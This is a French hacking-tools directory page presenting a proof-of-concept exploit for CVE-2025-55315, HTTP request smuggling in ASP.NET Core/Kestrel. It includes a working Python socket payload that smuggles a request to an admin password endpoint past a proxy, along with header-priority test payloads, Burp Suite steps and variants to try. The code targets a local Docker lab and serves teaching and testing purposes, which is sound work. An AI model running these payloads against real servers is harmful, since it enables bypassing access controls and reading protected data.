Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-55315 — Exploit de preuve de concept pour CVE-2025-55315 (HTTP Request Smuggling .NET). Démontre comment un encodage chunked mal analysé permet aux attaquants de faire passer clandestinement des requêtes à travers les proxys et les équilibreurs de charge des serveurs ASP.NET Core/Kestrel vulnérables. | Kitploit
Outils/GitHubGitHub/martinfabianionut/cve-2025-55315
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'IntrusionApprentissage et Éducation
GitHubmartinfabianionut/cve-2025-55315

CVE-2025-55315

Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

1il y a 8 moisPas encore vérifié

Exploit de preuve de concept pour CVE-2025-55315 (HTTP Request Smuggling .NET). Démontre comment un encodage chunked mal analysé permet aux attaquants de faire passer clandestinement des requêtes à travers les proxys et les équilibreurs de charge des serveurs ASP.NET Core/Kestrel vulnérables.

Partager

CVE-2025-55315

Exploit de preuve de concept pour CVE-2025-55315 (contrebande de requêtes HTTP .NET). Il démontre comment un encodage chunked mal interprété permet aux attaquants de faire passer en contrebande des requêtes au-delà des proxys et des équilibreurs de charge dans les serveurs ASP.NET Core/Kestrel vulnérables.

📊 Présentation

Voir la présentation Prezi interactive

Prezi Presentation

🎥 Cliquez sur le badge ci-dessus pour voir la présentation interactive complète sur Prezi

Structure du projet

  • Api - API ASP.NET Core consolidée avec deux Dockerfiles :
    • Dockerfile.vulnerable - Utilise .NET 10.0.100-rc.1 (vulnérable à CVE-2025-55315)
    • Dockerfile.patched - Utilise .NET 10.0.100 (version corrigée)
  • PythonProxy - Proxy vulnérable utilisé pour la démonstration de l'exploit CVE-2025-55315 (privilégie Content-Length sur Transfer-Encoding)
  • YarpProxy - Reverse proxy YARP pour tester l'équilibrage de charge (ne fait pas partie de l'exploit)

Remarque : la vulnérabilité se trouve dans l'analyseur HTTP du runtime .NET (Kestrel), pas dans le code applicatif. Les deux versions utilisent un code source identique, mais des versions différentes du runtime .NET.

Démarrage rapide

root@kitploit:~
# Build and run all services
docker-compose up --build

# Access the services
# Unsafe API: http://localhost:5001
# Safe API: http://localhost:5002
# Python Proxy (exploit): http://localhost:5027
# YARP Proxy (load balancing): http://localhost:5028

Consultez DOCKER.md pour des instructions détaillées sur l'utilisation de Docker.

Démonstration de l'exploit

Le proxy Python démontre CVE-2025-55315 en privilégiant Content-Length sur Transfer-Encoding, ce qui permet la contrebande de requêtes HTTP :

root@kitploit:~
payload = (
    "POST /passwords HTTP/1.1\r\n"
    "Host: localhost:5027\r\n"
    "Transfer-Encoding: chunked\r\n"
    "\r\n"
    "2;\n"
    "xx\r\n"
    "39\r\n"
    "0\r\n"
    "\r\n"
    "GET /passwords/admin HTTP/1.1\r\n"
    "Host: localhost:5001\r\n"
    "\r\n"
    "0\r\n"
    "\r\n"
)

import socket
import time

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect(('localhost', 5027))
    s.sendall(payload.encode())
    
    # Read all available data
    s.settimeout(2.0)
    responses = b''
    try:
        while True:
            chunk = s.recv(4096)
            if not chunk:
                break
            responses += chunk
    except socket.timeout:
        pass
    
    print("=== Complete Response ===")
    print(responses.decode('utf-8', errors='ignore'))
    print("\n=== Checking for smuggled request response ===")
    if b'/passwords/admin' in responses or b'admin' in responses:
        print("✓ Successfully smuggled request to /passwords/admin!")
    else:
        print("✗ Exploit failed or blocked")

Cette charge utile fait passer en contrebande une seconde requête vers /passwords/admin au-delà de la vérification de sécurité du proxy, en exploitant la divergence entre la façon dont le proxy et le serveur backend interprètent la requête.

Interprétation visuelle de la requête

Voici comment le proxy et le serveur backend interprètent différemment la même charge utile :

Principales différences :

Explication détaillée :

  • Proxy : accepte 2;\n comme déclaration valide de taille de chunk (2 octets) → lit xx comme corps du chunk de 2 octets → passe au chunk suivant (39)
  • Backend : rejette \n comme fin de ligne → la taille du chunk reste 2, mais l'en-tête s'étend jusqu'à 2;\nxx\r\n → lit 39 comme partie du corps du chunk → 0\r\n termine le chunk
  • Résultat : la requête GET /passwords/admin introduite en contrebande est cachée dans ce que le backend considère comme des données de chunk, mais elle est analysée comme une requête distincte une fois le traitement du chunk terminé

La requête GET /passwords/admin introduite en contrebande est cachée dans ce que le proxy pense être des données de corps de chunk, mais le backend l'interprète comme une requête HTTP distincte.

Identifier la vulnérabilité

Avant d'exploiter, vous devez identifier quel en-tête HTTP (Content-Length ou Transfer-Encoding) les différents composants privilégient. Voici un guide pas à pas :

Étape 1 : tester la priorité des en-têtes

Envoyez une requête avec les deux en-têtes Content-Length et Transfer-Encoding: chunked pour voir lequel chaque composant respecte :

root@kitploit:~
POST /passwords HTTP/1.1\r\n
Host: localhost:5001\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 2\r\n
\r\n
6\r\n
Fabian\r\n
0\r\n
\r\n

Analyse :

  • Si le serveur traite "Fa" (2 octets) → il privilégie Content-Length
  • Si le serveur traite "Fabian" (corps chunked complet) → il privilégie Transfer-Encoding

Étape 2 : tester chaque composant

Testez tous les composants de votre architecture pour trouver des divergences :

Tester l'API non sécurisée (port 5001)

root@kitploit:~
# Using Python
import socket

test_payload = (
    "POST /passwords HTTP/1.1\r\n"
    "Host: localhost:5001\r\n"
    "Transfer-Encoding: chunked\r\n"
    "Content-Length: 2\r\n"
    "\r\n"
    "6\r\n"
    "Fabian\r\n"
    "0\r\n"
    "\r\n"
)

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect(('localhost', 5001))
    s.sendall(test_payload.encode())
    s.settimeout(1.0)
    try:
        response = s.recv(4096)
        print("Unsafe API Response:", response.decode('utf-8', errors='ignore'))
    except socket.timeout:
        pass

Tester l'API sécurisée (port 5002)

root@kitploit:~
# Change port to 5002 and test
# Safe API should handle the conflict properly

Tester le proxy Python (port 5027)

root@kitploit:~
# Change port to 5027
# Python proxy favors Content-Length (vulnerable)

Tester le proxy YARP (port 5028)

root@kitploit:~
# Change port to 5028
# Test how YARP handles the header conflict

Étape 3 : utiliser Burp Suite pour les tests manuels

  1. Intercepter la requête : capturez une requête POST normale vers /passwords
  2. Modifier les en-têtes : ajoutez les deux en-têtes manuellement :
root@kitploit:~
Transfer-Encoding: chunked\r\n
Content-Length: 2\r\n
\r\n
  1. Définir le corps : utilisez le format d'encodage chunked :
root@kitploit:~
6\r\n
Fabian\r\n
0\r\n
\r\n   
  1. Comparer les réponses : envoyez vers différents endpoints et analysez quelle partie du corps chacun traite
  2. Identifier la divergence : si le proxy lit 2 octets mais que le backend lit tout le chunk, vous avez une vulnérabilité de désynchronisation (desync)

Étape 4 : fabriquer l'exploit

Une fois que vous avez identifié :

  • Proxy : privilégie Content-Length (ne lit que N octets)
  • Backend : privilégie Transfer-Encoding (lit le corps chunked)

Vous pouvez faire passer en contrebande une seconde requête que le proxy ne voit jamais mais que le backend traite.

Étape 5 : vérifier l'exploit

Exécutez la charge utile complète de l'exploit (voir la section "Démonstration de l'exploit" ci-dessus) et confirmez :

  • Première réponse : résultat POST normal
  • Deuxième réponse : données du point de terminaison admin (la requête en contrebande a réussi)

Outils recommandés

  • Burp Suite : création manuelle de requêtes et manipulation d'en-têtes
  • Python socket : contrôle de bas niveau pour un formatage HTTP précis
  • curl avec --data-binary : tests rapides en ligne de commande
  • Wireshark : analyse au niveau des paquets pour voir exactement ce que chaque composant reçoit

Variantes alternatives de l'exploit

L'exploit peut être conçu de plusieurs façons. Expérimentez différentes approches :

Avec Content-Length explicite

root@kitploit:~
# Add Content-Length to make the desync explicit
payload = (
    "POST /passwords HTTP/1.1\r\n"
    "Host: localhost:5027\r\n"
    "Content-Length: 75\r\n"
    "Transfer-Encoding: chunked\r\n"
    # ... rest of payload
)

Pourquoi cela fonctionne sans Content-Length

  • Proxy : accepte \n comme fin de ligne valide → traite 2;\n comme taille de chunk → lit 2 octets (xx)
  • Backend : rejette \n → l'en-tête de chunk s'étend jusqu'à 2;\nxx\r\n → 39 devient le corps du chunk → 0\r\n termine le chunk
  • Résultat : la requête en contrebande est cachée dans le corps du chunk et est analysée comme une requête distincte par le backend

Idées d'expérimentation

Essayez différents scénarios de désynchronisation en modifiant PythonProxy/proxy_server.py :

  • CL.TE : le proxy utilise Content-Length, le backend utilise Transfer-Encoding
  • TE.CL : le proxy utilise Transfer-Encoding, le backend utilise Content-Length (essayez de créer vos propres API)
  • TE.TE : les deux utilisent Transfer-Encoding mais l'analysent différemment (comme \n vs \r\n)

Expérimentez avec :

  • Différentes tailles et formats de chunk
  • Plusieurs requêtes en contrebande en séquence
  • Diverses méthodes HTTP (GET, POST, PUT, DELETE) - vous pouvez les ajouter dans les API
  • Espaces et caractères spéciaux
Télécharger l’outil

INTERPRÉTATION DU PROXY (accepte \n comme fin de ligne valide) :

root@kitploit:~
flowchart TD
    subgraph Proxy_Request_1 ["🔴 Request 1 - Proxy View"]
        PH1["POST /passwords HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked"]
        PCH1["<b>2;\n</b><br/><i>chunk header (accepts \n)</i>"]
        PCB1["<b>xx</b><br/><i>chunk body - 2 bytes</i>"]
        PCH2["<b>39</b><br/><i>chunk header</i>"]
        PCB2["<i>chunk body - 57 bytes</i><br/>(contains smuggled request)"]
        PLK["<b>0</b><br/><i>last chunk</i>"]
    end
    
    subgraph Proxy_Ignored ["⚫ Ignored by Proxy"]
        PIG["GET /passwords/admin HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked<br/>0<br/>(Proxy thinks this is part of chunk body)"]
    end

    PH1 --> PCH1 --> PCB1 --> PCH2 --> PCB2 --> PLK
    PLK -.-> PIG

INTERPRÉTATION DU BACKEND (rejette \n, exige \r\n) :

root@kitploit:~
flowchart TD
    subgraph Backend_Request_1 ["🟢 Request 1 - Backend View"]
        BH1["POST /passwords HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked<br/><b>2;\n</b> (invalid - part of headers)<br/><b>xx</b> (headers end here)"]
        BCB1["<b>39</b><br/><i>chunk body</i>"]
        BLK1["<b>0</b><br/><i>last chunk</i>"]
    end
    
    subgraph Backend_Request_2 ["🟢 Request 2 - Backend View"]
        BH2["GET /passwords/admin HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked"]
        BLK2["<b>0</b><br/><i>last chunk</i>"]
    end

    BH1 --> BCB1 --> BLK1
    BLK1 --> BH2 --> BLK2
    
    style Backend_Request_2 fill:#ff6b6b,stroke:#c92a2a,stroke-width:3px
ComposantTaille du chunk 2;\nOctets lusCe qui se passe
Proxy✅ Taille de chunk valide2 octets (xx)Traite 2;\n comme un en-tête de chunk complet, lit 2 octets, passe au chunk suivant
Backend❌ Fin de ligne invalideLit toujours un chunk de 2 octetsL'en-tête de chunk ne se termine pas avant xx\r\n, donc 39 devient le corps du chunk, 0 termine le chunk